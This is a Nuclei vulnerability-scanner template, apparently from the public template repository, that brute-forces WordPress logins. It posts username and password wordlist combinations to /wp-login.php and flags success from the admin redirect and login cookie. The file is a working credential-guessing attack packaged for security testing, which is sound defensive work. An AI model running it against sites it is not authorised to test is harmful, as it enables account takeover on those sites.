nuclei-templates/http/fuzzing/wordpress-weak-credentials....

48 lines
1.3 KiB
YAML

id: wordpress-weak-credentials
info:
name: WordPress - Weak Credentials
author: evolutionsec
severity: critical
description: |
Weak WordPress Credentials were discovered.
reference:
- https://www.wpwhitesecurity.com/strong-wordpress-passwords-wpscan/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cwe-id: CWE-1391
metadata:
max-request: 276
tags: wordpress,default-login,fuzz
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}
log={{users}}&pwd={{passwords}}
payloads:
users: helpers/wordlists/wp-users.txt
passwords: helpers/wordlists/wp-passwords.txt
attack: clusterbomb
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- '/wp-admin'
- 'wordpress_logged_in'
condition: and
- type: status
status:
- 302
# digest: 490a0046304402200c1408ee282f07a88d599b6e9e31b0bdb3d2e4fd0f027c30193d370a45b896ff022066ac3030dc876bd69dd867e59e9e985c250becbe504d1274ce392ae5436e1758:922c64590222798bb761d5b6d8e72950